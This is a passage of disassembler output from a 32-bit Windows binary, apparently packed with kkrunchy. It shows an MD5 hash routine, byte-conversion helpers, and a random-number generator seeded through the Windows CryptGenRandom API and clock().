loc_40A932:				; CODE XREF: sub_40A8CC+88j
		push	40h
		lea	eax, [esi+18h]
		push	[ebp+arg_4]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_4]
		push	esi
		call	sub_40AA38
		add	[ebp+arg_4], 40h
		add	esp, 14h
		sub	ebx, 40h
		dec	edi
		jnz	short loc_40A932


loc_40A956:				; CODE XREF: sub_40A8CC+5Fj
		push	ebx
		add	esi, 18h
		push	[ebp+arg_4]
		push	esi


loc_40A95E:				; CODE XREF: sub_40A8CC+3Ej
		call	sub_4114D0	; memcpy
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40A8CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A96B	proc near		; CODE XREF: sub_40A606+27p
					; sub_40A67C+29p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		push	edi
		push	3Fh
		mov	eax, [esi+10h]
		lea	edi, [esi+10h]
		shr	eax, 3
		pop	ecx
		and	eax, ecx
		sub	ecx, eax
		lea	edx, [eax+esi+18h]
		mov	byte ptr [edx],	80h
		inc	edx
		cmp	ecx, 8
		jnb	short loc_40A9B2
		push	ebx
		push	ecx
		push	0
		push	edx
		call	sub_4114E8	; memset
		lea	ebx, [esi+18h]
		push	ebx
		push	esi
		call	sub_40AA38
		push	38h
		push	0
		push	ebx
		call	sub_4114E8	; memset
		add	esp, 20h
		pop	ebx
		jmp	short loc_40A9C1
; ---------------------------------------------------------------------------


loc_40A9B2:				; CODE XREF: sub_40A96B+21j
		add	ecx, 0FFFFFFF8h
		push	ecx
		push	0
		push	edx
		call	sub_4114E8	; memset
		add	esp, 0Ch


loc_40A9C1:				; CODE XREF: sub_40A96B+45j
		push	8
		lea	eax, [esi+50h]
		push	edi
		push	eax
		call	sub_40A9F3
		lea	eax, [esi+18h]
		push	eax
		push	esi
		call	sub_40AA38
		push	10h
		push	esi
		push	[esp+24h+arg_0]
		call	sub_40A9F3
		push	4
		push	0
		push	esi
		call	sub_4114E8	; memset
		add	esp, 2Ch
		pop	edi
		pop	esi
		retn
sub_40A96B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A9F3	proc near		; CODE XREF: sub_40A96B+5Dp
					; sub_40A96B+73p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	[esp+arg_8], 0
		jbe	short locret_40AA37
		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		push	esi
		or	esi, 0FFFFFFFFh
		lea	eax, [edx+1]
		sub	esi, edx


loc_40AA0B:				; CODE XREF: sub_40A9F3+41j
		mov	dl, [ecx]
		mov	[eax-1], dl
		mov	edx, [ecx]
		shr	edx, 8
		mov	[eax], dl
		mov	edx, [ecx]
		shr	edx, 10h
		mov	[eax+1], dl
		mov	edx, [ecx]
		shr	edx, 18h
		mov	[eax+2], dl
		add	eax, 4
		add	ecx, 4
		lea	edx, [esi+eax]
		cmp	edx, [esp+4+arg_8]
		jb	short loc_40AA0B
		pop	esi

locret_40AA37:				; CODE XREF: sub_40A9F3+5j
		retn
sub_40A9F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA38	proc near		; CODE XREF: sub_40A8CC+4Fp
					; sub_40A8CC+78p ...

var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 44h
		push	ebx
		push	esi
		push	edi
		push	40h
		push	[ebp+arg_4]
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_40B2D8
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		mov	edi, [eax+4]
		mov	edx, [eax+0Ch]
		mov	ebx, [eax+8]
		mov	esi, edi
		mov	ecx, [eax]
		not	esi
		and	esi, edx
		mov	edx, ebx
		and	edx, edi
		or	esi, edx
		add	esi, ecx
		mov	ecx, [ebp+var_44]
		lea	edx, [esi+ecx-28955B88h]
		mov	esi, edi
		mov	ecx, edx
		shr	ecx, 19h
		shl	edx, 7
		or	ecx, edx
		add	ecx, edi
		mov	edx, ecx
		and	esi, ecx
		not	edx
		and	edx, ebx
		or	edx, esi
		mov	esi, [eax+0Ch]
		add	edx, [ebp+var_40]
		lea	esi, [esi+edx-173848AAh]
		mov	edx, esi
		shr	edx, 14h
		shl	esi, 0Ch
		or	edx, esi
		add	edx, ecx
		mov	esi, edx
		not	esi
		and	esi, edi
		mov	edi, edx
		and	edi, ecx
		or	esi, edi
		add	esi, [ebp+var_3C]
		lea	esi, [ebx+esi+242070DBh]
		mov	ebx, edx
		mov	edi, esi
		shr	edi, 0Fh
		shl	esi, 11h
		or	edi, esi
		add	edi, edx
		mov	esi, edi
		and	ebx, edi
		not	esi
		and	esi, ecx
		mov	[ebp+var_4], edi
		or	esi, ebx
		mov	ebx, [eax+4]
		add	esi, [ebp+var_38]
		lea	ebx, [ebx+esi-3E423112h]
		mov	esi, ebx
		shl	esi, 16h
		shr	ebx, 0Ah
		or	esi, ebx
		add	esi, edi
		mov	ebx, esi
		and	edi, esi
		not	ebx
		and	ebx, edx
		or	ebx, edi
		add	ebx, [ebp+var_34]
		lea	ecx, [ecx+ebx-0A83F051h]
		mov	edi, ecx
		shr	edi, 19h
		shl	ecx, 7
		or	edi, ecx
		add	edi, esi
		mov	ecx, esi
		mov	[ebp+arg_4], edi
		and	ecx, [ebp+arg_4]
		not	edi
		and	edi, [ebp+var_4]
		or	edi, ecx
		add	edi, [ebp+var_30]
		lea	edx, [edx+edi+4787C62Ah]
		mov	ecx, edx
		shr	ecx, 14h
		shl	edx, 0Ch
		or	ecx, edx
		add	ecx, [ebp+arg_4]
		mov	edx, ecx
		mov	edi, ecx
		and	edi, [ebp+arg_4]
		mov	ebx, ecx
		not	edx
		and	edx, esi
		or	edx, edi
		mov	edi, [ebp+var_4]
		add	edx, [ebp+var_2C]
		lea	edi, [edi+edx-57CFB9EDh]
		mov	edx, edi
		shr	edx, 0Fh
		shl	edi, 11h
		or	edx, edi
		add	edx, ecx
		mov	edi, edx
		and	ebx, edx
		not	edi
		and	edi, [ebp+arg_4]
		or	edi, ebx
		mov	ebx, edx
		add	edi, [ebp+var_28]
		lea	esi, [esi+edi-2B96AFFh]
		mov	edi, esi
		shl	edi, 16h
		shr	esi, 0Ah
		or	edi, esi
		add	edi, edx
		mov	esi, edi
		and	ebx, edi
		not	esi
		and	esi, ecx
		mov	[ebp+arg_0], edi
		or	esi, ebx
		mov	ebx, [ebp+arg_4]
		add	esi, [ebp+var_24]
		lea	ebx, [ebx+esi+698098D8h]
		mov	esi, ebx
		shr	esi, 19h
		shl	ebx, 7
		or	esi, ebx
		add	esi, edi
		mov	ebx, esi
		and	edi, esi
		not	ebx
		and	ebx, edx
		or	ebx, edi
		add	ebx, [ebp+var_20]
		lea	ecx, [ecx+ebx-74BB0851h]
		mov	edi, ecx
		shr	edi, 14h
		shl	ecx, 0Ch
		or	edi, ecx
		add	edi, esi
		mov	ecx, edi
		mov	ebx, edi
		not	ecx
		and	ecx, [ebp+arg_0]
		and	ebx, esi
		or	ecx, ebx
		add	ecx, [ebp+var_1C]
		lea	edx, [edx+ecx-0A44Fh]
		mov	ebx, edx
		shr	ebx, 0Fh
		shl	edx, 11h
		or	ebx, edx
		add	ebx, edi
		mov	ecx, ebx
		mov	edx, edi
		not	ecx
		and	ecx, esi
		and	edx, ebx
		or	ecx, edx
		mov	edx, [ebp+arg_0]
		add	ecx, [ebp+var_18]
		mov	[ebp+var_4], ebx
		lea	edx, [edx+ecx-76A32842h]
		mov	ecx, edx
		shl	ecx, 16h
		shr	edx, 0Ah
		or	ecx, edx
		add	ecx, ebx
		mov	edx, ecx
		and	ebx, ecx
		not	edx
		and	edx, edi
		or	edx, ebx
		add	edx, [ebp+var_14]
		lea	esi, [esi+edx+6B901122h]
		mov	edx, esi
		shr	edx, 19h
		shl	esi, 7
		or	edx, esi
		mov	esi, ecx
		add	edx, ecx
		mov	[ebp+arg_4], edx
		and	esi, [ebp+arg_4]
		not	edx
		and	edx, [ebp+var_4]
		or	edx, esi
		add	edx, [ebp+var_10]
		lea	edi, [edi+edx-2678E6Dh]
		mov	edx, edi
		shr	edx, 14h
		shl	edi, 0Ch
		or	edx, edi
		mov	edi, ecx
		add	edx, [ebp+arg_4]
		mov	[ebp+arg_0], edx
		mov	esi, edx
		not	[ebp+arg_0]
		and	esi, [ebp+arg_4]
		and	edi, [ebp+arg_0]
		mov	ebx, edx
		or	esi, edi
		mov	edi, [ebp+var_4]
		add	esi, [ebp+var_C]
		lea	edi, [edi+esi-5986BC72h]
		mov	esi, edi
		shr	esi, 0Fh
		shl	edi, 11h
		or	esi, edi
		add	esi, edx
		mov	[ebp+var_4], esi
		and	ebx, esi
		not	[ebp+var_4]
		mov	edi, [ebp+var_4]
		and	edi, [ebp+arg_4]
		or	edi, ebx
		mov	ebx, esi
		add	edi, [ebp+var_8]
		and	ebx, [ebp+arg_0]
		lea	ecx, [ecx+edi+49B40821h]
		mov	edi, ecx
		shl	edi, 16h
		shr	ecx, 0Ah
		or	edi, ecx
		mov	ecx, edx
		add	edi, esi
		and	ecx, edi
		or	ecx, ebx
		mov	ebx, [ebp+arg_4]
		add	ecx, [ebp+var_40]
		lea	ecx, [ebx+ecx-9E1DA9Eh]
		mov	ebx, ecx
		shr	ebx, 1Bh
		shl	ecx, 5
		or	ebx, ecx
		mov	ecx, [ebp+var_4]
		add	ebx, edi
		and	ecx, edi
		mov	[ebp+arg_4], ebx
		mov	[ebp+arg_0], ecx
		mov	ecx, esi
		and	ecx, ebx
		mov	ebx, ecx
		mov	ecx, [ebp+arg_0]
		or	ecx, ebx
		add	ecx, [ebp+var_2C]
		lea	edx, [edx+ecx-3FBF4CC0h]
		mov	ecx, edx
		shr	ecx, 17h
		shl	edx, 9
		or	ecx, edx
		mov	edx, edi
		add	ecx, [ebp+arg_4]
		not	edx
		and	edx, [ebp+arg_4]
		mov	ebx, ecx
		and	ebx, edi
		or	edx, ebx
		add	edx, [ebp+var_18]
		lea	esi, [esi+edx+265E5A51h]
		mov	edx, esi
		shr	edx, 12h
		shl	esi, 0Eh
		or	edx, esi
		mov	esi, [ebp+arg_4]
		add	edx, ecx
		mov	[ebp+var_4], edx
		and	edx, [ebp+arg_4]
		not	esi
		and	esi, ecx
		mov	ebx, [ebp+var_4]
		or	esi, edx
		add	esi, [ebp+var_44]
		lea	edi, [edi+esi-16493856h]
		mov	esi, ecx
		mov	edx, edi
		shl	edx, 14h
		shr	edi, 0Ch
		or	edx, edi
		mov	edi, ecx
		add	edx, ebx
		not	esi
		and	esi, ebx
		and	edi, edx
		or	esi, edi
		mov	edi, [ebp+arg_4]
		add	esi, [ebp+var_30]
		lea	esi, [edi+esi-29D0EFA3h]
		mov	edi, esi
		shr	edi, 1Bh
		shl	esi, 5
		or	edi, esi
		mov	esi, ebx
		add	edi, edx
		mov	[ebp+arg_4], edi
		mov	edi, ebx
		and	edi, [ebp+arg_4]
		not	esi
		and	esi, edx
		or	esi, edi
		add	esi, [ebp+var_1C]
		lea	ecx, [ecx+esi+2441453h]
		mov	esi, ecx
		shr	esi, 17h
		shl	ecx, 9
		or	esi, ecx
		mov	ecx, edx
		add	esi, [ebp+arg_4]
		not	ecx
		and	ecx, [ebp+arg_4]
		mov	edi, esi
		and	edi, edx
		or	ecx, edi
		add	ecx, [ebp+var_8]
		lea	edi, [ebx+ecx-275E197Fh]
		mov	ecx, edi
		shr	ecx, 12h
		shl	edi, 0Eh
		or	ecx, edi
		mov	edi, [ebp+arg_4]
		add	ecx, esi
		mov	ebx, ecx
		and	ebx, [ebp+arg_4]
		not	edi
		and	edi, esi
		or	edi, ebx
		mov	ebx, esi
		add	edi, [ebp+var_34]
		lea	edx, [edx+edi-182C0438h]
		mov	edi, edx
		shl	edi, 14h
		shr	edx, 0Ch
		or	edi, edx
		mov	edx, esi
		add	edi, ecx
		not	edx
		and	edx, ecx
		and	ebx, edi
		or	edx, ebx
		mov	ebx, [ebp+arg_4]
		add	edx, [ebp+var_20]
		mov	[ebp+arg_0], edi
		lea	ebx, [ebx+edx+21E1CDE6h]
		mov	edx, ebx
		shr	edx, 1Bh
		shl	ebx, 5
		or	edx, ebx
		mov	ebx, ecx
		not	ebx
		add	edx, edi
		and	ebx, edi
		mov	edi, ecx
		and	edi, edx
		or	ebx, edi
		add	ebx, [ebp+var_C]
		lea	esi, [esi+ebx-3CC8F82Ah]
		mov	edi, esi
		shr	edi, 17h
		shl	esi, 9
		or	edi, esi
		mov	esi, [ebp+arg_0]
		add	edi, edx
		mov	ebx, edi
		and	ebx, [ebp+arg_0]
		not	esi
		and	esi, edx
		or	esi, ebx
		add	esi, [ebp+var_38]
		lea	ecx, [ecx+esi-0B2AF279h]
		mov	esi, ecx
		shr	esi, 12h
		shl	ecx, 0Eh
		or	esi, ecx
		mov	ecx, edx
		add	esi, edi
		not	ecx
		mov	ebx, esi
		and	ecx, edi
		and	ebx, edx
		or	ecx, ebx
		mov	ebx, [ebp+arg_0]
		add	ecx, [ebp+var_24]
		lea	ecx, [ebx+ecx+455A14EDh]
		mov	ebx, ecx
		shl	ebx, 14h
		shr	ecx, 0Ch
		or	ebx, ecx
		mov	ecx, edi
		add	ebx, esi
		mov	[ebp+arg_0], ebx
		mov	ebx, edi
		and	ebx, [ebp+arg_0]
		not	ecx
		and	ecx, esi
		or	ecx, ebx
		add	ecx, [ebp+var_10]
		lea	edx, [edx+ecx-561C16FBh]
		mov	ecx, edx
		shr	ecx, 1Bh
		shl	edx, 5
		or	ecx, edx
		mov	edx, esi
		add	ecx, [ebp+arg_0]
		mov	[ebp+arg_4], ecx
		mov	ecx, esi
		and	edx, [ebp+arg_4]
		mov	ebx, [ebp+arg_4]
		not	ecx
		and	ecx, [ebp+arg_0]
		or	ecx, edx
		mov	edx, [ebp+arg_0]
		add	ecx, [ebp+var_3C]
		not	edx
		and	edx, ebx
		lea	edi, [edi+ecx-3105C08h]
		mov	ecx, edi
		shr	ecx, 17h
		shl	edi, 9
		or	ecx, edi
		add	ecx, ebx
		mov	edi, ecx
		and	edi, [ebp+arg_0]
		or	edx, edi
		add	edx, [ebp+var_28]
		lea	esi, [esi+edx+676F02D9h]
		mov	edx, esi
		shr	edx, 12h
		shl	esi, 0Eh
		or	edx, esi
		mov	esi, ebx
		add	edx, ecx
		not	esi
		mov	edi, edx
		and	esi, ecx
		and	edi, ebx
		or	esi, edi
		mov	edi, [ebp+arg_0]
		add	esi, [ebp+var_14]
		lea	edi, [edi+esi-72D5B376h]
		mov	esi, edi
		shl	esi, 14h
		shr	edi, 0Ch
		or	esi, edi
		mov	edi, ecx
		add	esi, edx
		xor	edi, edx
		xor	edi, esi
		add	edi, [ebp+var_30]
		lea	ebx, [ebx+edi-5C6BEh]
		mov	edi, ebx
		shr	edi, 1Ch
		shl	ebx, 4
		or	edi, ebx
		mov	ebx, edx
		add	edi, esi
		xor	ebx, esi
		xor	ebx, edi
		add	ebx, [ebp+var_24]
		lea	ecx, [ecx+ebx-788E097Fh]
		mov	ebx, ecx
		shr	ebx, 15h
		shl	ecx, 0Bh
		or	ebx, ecx
		add	ebx, edi
		mov	ecx, ebx
		xor	ecx, esi
		xor	ecx, edi
		add	ecx, [ebp+var_18]
		lea	edx, [edx+ecx+6D9D6122h]
		mov	ecx, edx
		shr	ecx, 10h
		shl	edx, 10h
		or	ecx, edx
		mov	edx, ebx
		add	ecx, ebx
		mov	[ebp+var_4], ecx
		xor	edx, ecx
		mov	ecx, edx
		xor	ecx, edi
		add	ecx, [ebp+var_C]
		lea	esi, [esi+ecx-21AC7F4h]
		mov	ecx, esi
		shl	ecx, 17h
		shr	esi, 9
		or	ecx, esi
		add	ecx, [ebp+var_4]
		xor	edx, ecx
		add	edx, [ebp+var_40]
		lea	edi, [edi+edx-5B4115BCh]
		mov	edx, edi
		shr	edx, 1Ch
		shl	edi, 4
		or	edx, edi
		mov	edi, [ebp+var_4]
		mov	esi, edi
		add	edx, ecx
		xor	esi, ecx
		xor	esi, edx
		add	esi, [ebp+var_34]
		lea	ebx, [ebx+esi+4BDECFA9h]
		mov	esi, ebx
		shr	esi, 15h
		shl	ebx, 0Bh
		or	esi, ebx
		add	esi, edx
		mov	ebx, esi
		mov	[ebp+arg_4], esi
		xor	ebx, ecx
		xor	ebx, edx
		add	ebx, [ebp+var_28]
		lea	ebx, [edi+ebx-944B4B0h]
		mov	edi, ebx
		shr	edi, 10h
		shl	ebx, 10h
		or	edi, ebx
		add	edi, esi
		xor	[ebp+arg_4], edi
		mov	ebx, [ebp+arg_4]
		xor	ebx, edx
		add	ebx, [ebp+var_1C]
		lea	ebx, [ecx+ebx-41404390h]
		mov	ecx, ebx
		shl	ecx, 17h
		shr	ebx, 9
		or	ecx, ebx
		mov	ebx, [ebp+arg_4]
		add	ecx, edi
		xor	ebx, ecx
		add	ebx, [ebp+var_10]
		lea	ebx, [edx+ebx+289B7EC6h]
		mov	edx, ebx
		shr	edx, 1Ch
		shl	ebx, 4
		or	edx, ebx
		mov	ebx, edi
		add	edx, ecx
		xor	ebx, ecx
		xor	ebx, edx
		add	ebx, [ebp+var_44]
		lea	esi, [esi+ebx-155ED806h]
		mov	ebx, esi
		shr	ebx, 15h
		shl	esi, 0Bh
		or	ebx, esi
		add	ebx, edx
		mov	esi, ebx
		mov	[ebp+arg_4], ebx
		xor	esi, ecx
		xor	esi, edx
		add	esi, [ebp+var_38]
		lea	esi, [edi+esi-2B10CF7Bh]
		mov	edi, esi
		shr	edi, 10h
		shl	esi, 10h
		or	edi, esi
		add	edi, ebx
		xor	[ebp+arg_4], edi
		mov	esi, [ebp+arg_4]
		xor	esi, edx
		add	esi, [ebp+var_2C]
		lea	esi, [ecx+esi+4881D05h]
		mov	ecx, esi
		shl	ecx, 17h
		shr	esi, 9
		or	ecx, esi
		mov	esi, [ebp+arg_4]
		add	ecx, edi
		xor	esi, ecx
		add	esi, [ebp+var_20]
		lea	esi, [edx+esi-262B2FC7h]
		mov	edx, esi
		shr	edx, 1Ch
		shl	esi, 4
		or	edx, esi
		mov	esi, edi
		add	edx, ecx
		xor	esi, ecx
		xor	esi, edx
		add	esi, [ebp+var_14]
		lea	ebx, [ebx+esi-1924661Bh]
		mov	esi, ebx
		shr	esi, 15h
		shl	ebx, 0Bh
		or	esi, ebx
		add	esi, edx
		mov	ebx, esi
		xor	ebx, ecx
		xor	ebx, edx
		add	ebx, [ebp+var_8]
		lea	ebx, [edi+ebx+1FA27CF8h]
		mov	edi, ebx
		shr	edi, 10h
		shl	ebx, 10h
		or	edi, ebx
		mov	ebx, esi
		add	edi, esi
		xor	ebx, edi
		xor	ebx, edx
		add	ebx, [ebp+var_3C]
		lea	ecx, [ecx+ebx-3B53A99Bh]
		mov	ebx, ecx
		shl	ebx, 17h
		shr	ecx, 9
		or	ebx, ecx
		mov	ecx, esi
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [ebp+var_44]
		lea	edx, [edx+ecx-0BD6DDBCh]
		mov	ecx, edx
		shr	ecx, 1Ah
		shl	edx, 6
		or	ecx, edx
		mov	edx, edi
		add	ecx, ebx
		not	edx
		or	edx, ecx
		xor	edx, ebx
		add	edx, [ebp+var_28]
		lea	esi, [esi+edx+432AFF97h]
		mov	edx, esi
		shr	edx, 16h
		shl	esi, 0Ah
		or	edx, esi
		mov	esi, ebx
		add	edx, ecx
		not	esi
		or	esi, edx
		xor	esi, ecx
		add	esi, [ebp+var_C]
		lea	edi, [edi+esi-546BDC59h]
		mov	esi, edi
		shr	esi, 11h
		shl	edi, 0Fh
		or	esi, edi
		mov	edi, ecx
		add	esi, edx
		not	edi
		or	edi, esi
		xor	edi, edx
		add	edi, [ebp+var_30]
		lea	ebx, [ebx+edi-36C5FC7h]
		mov	edi, ebx
		shr	ebx, 0Bh
		shl	edi, 15h
		or	edi, ebx
		mov	ebx, edx
		not	ebx
		add	edi, esi
		or	ebx, edi
		xor	ebx, esi
		add	ebx, [ebp+var_14]
		lea	ebx, [ecx+ebx+655B59C3h]
		mov	ecx, ebx
		shl	ebx, 6
		shr	ecx, 1Ah
		or	ecx, ebx
		mov	ebx, esi
		not	ebx
		add	ecx, edi
		or	ebx, ecx
		xor	ebx, edi
		add	ebx, [ebp+var_38]
		lea	ebx, [edx+ebx-70F3336Eh]
		mov	edx, ebx
		shl	ebx, 0Ah
		shr	edx, 16h
		or	edx, ebx
		mov	ebx, edi
		add	edx, ecx
		not	ebx
		or	ebx, edx
		xor	ebx, ecx
		add	ebx, [ebp+var_1C]
		lea	ebx, [esi+ebx-100B83h]
		mov	esi, ebx
		shr	esi, 11h
		shl	ebx, 0Fh
		or	esi, ebx
		mov	ebx, ecx
		add	esi, edx
		not	ebx
		or	ebx, esi
		xor	ebx, edx
		add	ebx, [ebp+var_40]
		lea	ebx, [edi+ebx-7A7BA22Fh]
		mov	edi, ebx
		shl	edi, 15h
		shr	ebx, 0Bh
		or	edi, ebx
		mov	ebx, edx
		add	edi, esi
		not	ebx
		or	ebx, edi
		xor	ebx, esi
		add	ebx, [ebp+var_24]
		lea	ebx, [ecx+ebx+6FA87E4Fh]
		mov	ecx, ebx
		shr	ecx, 1Ah
		shl	ebx, 6
		or	ecx, ebx
		mov	ebx, esi
		add	ecx, edi
		not	ebx
		or	ebx, ecx
		xor	ebx, edi
		add	ebx, [ebp+var_8]
		lea	ebx, [edx+ebx-1D31920h]
		mov	edx, ebx
		shr	edx, 16h
		shl	ebx, 0Ah
		or	edx, ebx
		mov	ebx, edi
		add	edx, ecx
		not	ebx
		or	ebx, edx
		xor	ebx, ecx
		add	ebx, [ebp+var_2C]
		lea	ebx, [esi+ebx-5CFEBCECh]
		mov	esi, ebx
		shr	esi, 11h
		shl	ebx, 0Fh
		or	esi, ebx
		mov	ebx, ecx
		add	esi, edx
		not	ebx
		or	ebx, esi
		xor	ebx, edx
		add	ebx, [ebp+var_10]
		lea	ebx, [edi+ebx+4E0811A1h]
		mov	edi, ebx
		shl	edi, 15h
		shr	ebx, 0Bh
		or	edi, ebx
		mov	ebx, edx
		add	edi, esi
		not	ebx
		or	ebx, edi
		xor	ebx, esi
		add	ebx, [ebp+var_34]
		lea	ebx, [ecx+ebx-8AC817Eh]
		mov	ecx, ebx
		shr	ecx, 1Ah
		shl	ebx, 6
		or	ecx, ebx
		mov	ebx, esi
		add	ecx, edi
		not	ebx
		or	ebx, ecx
		xor	ebx, edi
		add	ebx, [ebp+var_18]
		lea	edx, [edx+ebx-42C50DCBh]
		mov	ebx, edx
		shr	ebx, 16h
		shl	edx, 0Ah
		or	ebx, edx
		mov	edx, edi
		add	ebx, ecx
		not	edx
		or	edx, ebx
		xor	edx, ecx
		add	edx, [ebp+var_3C]
		lea	esi, [esi+edx+2AD7D2BBh]
		mov	edx, esi
		shr	edx, 11h
		shl	esi, 0Fh
		or	edx, esi
		mov	esi, ecx
		add	edx, ebx
		not	esi
		or	esi, edx
		xor	esi, ebx
		add	esi, [ebp+var_20]
		lea	edi, [edi+esi-14792C6Fh]
		mov	esi, [eax]
		add	esi, ecx
		mov	ecx, edi
		shl	ecx, 15h
		shr	edi, 0Bh
		or	ecx, edi
		mov	[eax], esi
		add	ecx, [eax+4]
		pop	edi
		pop	esi
		add	ecx, edx
		mov	[eax+4], ecx
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [eax+0Ch]
		add	ecx, ebx
		pop	ebx
		mov	[eax+0Ch], ecx
		leave
		retn
sub_40AA38	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B2D8	proc near		; CODE XREF: sub_40AA38+12p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	[esp+arg_8], 0
		jbe	short locret_40B31D
		mov	edx, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	edi
		push	0FFFFFFFEh
		lea	eax, [edx+2]
		pop	esi
		sub	esi, edx


loc_40B2F1:				; CODE XREF: sub_40B2D8+41j
		movzx	edi, byte ptr [eax-1]
		xor	edx, edx
		mov	dh, [eax+1]
		mov	dl, [eax]
		add	eax, 4
		shl	edx, 8
		or	edx, edi
		movzx	edi, byte ptr [eax-6]
		shl	edx, 8
		or	edx, edi
		mov	[ecx], edx
		lea	edx, [esi+eax]
		add	ecx, 4
		cmp	edx, [esp+8+arg_8]
		jb	short loc_40B2F1
		pop	edi
		pop	esi

locret_40B31D:				; CODE XREF: sub_40B2D8+5j
		retn
sub_40B2D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B31E	proc near		; CODE XREF: kkrunchy:004112B4p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	0F0000000h
		push	1
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		call	dword_412024	; CryptAcquireContextA
		mov	esi, dword_412020
		push	offset dword_419E7C
		push	4
		push	[ebp+var_4]
		call	esi	; CryptGenRandom
		push	offset dword_419E80
		push	4
		push	[ebp+var_4]
		call	esi	; CryptGenRandom
		push	offset dword_419E84
		push	4
		push	[ebp+var_4]
		call	esi	; CryptGenRandom
		push	offset dword_419E88
		push	4
		push	[ebp+var_4]
		call	esi	; CryptGenRandom
		push	0
		push	[ebp+var_4]
		call	dword_41201C	; CryptReleaseContext
		pop	esi
		leave
		retn
sub_40B31E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B380	proc near		; CODE XREF: sub_40B459+3p sub_40B480p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		lock xadd dword_419E7C,	eax
		add	eax, ebx
		lock xadd dword_419E80,	eax
		add	eax, ecx
		lock xadd dword_419E84,	eax
		add	eax, edx
		lock xadd dword_419E88,	eax
		add	eax, esi
		lock xadd dword_419E7C,	eax
		add	eax, edi
		lock xadd dword_419E80,	eax
		add	eax, ebp
		lock xadd dword_419E84,	eax
		add	eax, esp
		lock xadd dword_419E88,	eax
		call	sub_4114E2	; clock
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		lock xadd dword_419E7C,	eax
		lock xadd dword_419E80,	eax
		lock xadd dword_419E84,	eax
		lock xadd dword_419E88,	eax
		add	ecx, ebx
		ror	ebx, cl
		lock xadd dword_419E84,	ebx
		add	ecx, ecx
		ror	ecx, cl
		lock xadd dword_419E80,	ecx
		add	ecx, edx
		ror	edx, cl
		lock xadd dword_419E7C,	edx
		rol	eax, cl
		add	ecx, eax
		ror	ebx, cl
		add	ecx, ebx
		ror	ecx, cl
		add	ecx, 211h
		rol	edx, cl
		add	ecx, edx
		lock xadd dword_419E88,	edx
		lock xadd dword_419E84,	ecx
		lock xadd dword_419E80,	ebx
		lock xadd dword_419E7C,	eax
		pop	ebx
		leave
		retn
sub_40B380	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B459	proc near		; CODE XREF: sub_401B81+C1p
					; sub_4031A7+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		call	sub_40B380
		call	sub_4114E2	; clock
		lock xadd dword_419E88,	eax
		mov	ecx, [ebp+arg_4]
		sub	ecx, [ebp+arg_0]
		xor	edx, edx
		inc	ecx
		div	ecx
		mov	eax, edx
		add	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40B459	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B480	proc near		; CODE XREF: sub_4091AD:loc_409213p
					; sub_409918+8DAp ...
		call	sub_40B380
		call	sub_4114E2	; clock
		lock xadd dword_419E88,	eax
		retn
sub_40B480	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B493	proc near		; CODE XREF: sub_403EA9+4ECp
					; sub_403EA9+54Fp
		call	sub_40B380
		call	sub_4114E2	; clock
		lock xadd dword_419E84,	eax
		and	eax, 0FFFFh
		retn
sub_40B493	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B4AB	proc near		; CODE XREF: sub_40B4D9:loc_40B507p
					; sub_40E399+CEp
		call	sub_40B380
		call	sub_4114E2	; clock
		lock xadd dword_419E80,	eax
		and	eax, 0FFh
		retn
sub_40B4AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B4C3	proc near		; CODE XREF: sub_403EA9+4FFp
					; sub_4098C7+2Bp ...
		call	sub_40B380
		call	sub_4114E2	; clock
		lock xadd dword_419E7C,	eax
		and	eax, 1
		retn
sub_40B4C3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B4D9	proc near		; CODE XREF: sub_407A76+837p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		test	ebx, ebx
		push	esi
		jz	short loc_40B512
		mov	esi, [esp+8+arg_0]
		cmp	ebx, 3
		jbe	short loc_40B503
		push	edi
		mov	edi, ebx
		shr	edi, 2


loc_40B4F2:				; CODE XREF: sub_40B4D9+27j
		call	sub_40B480
		mov	[esi], eax
		add	esi, 4
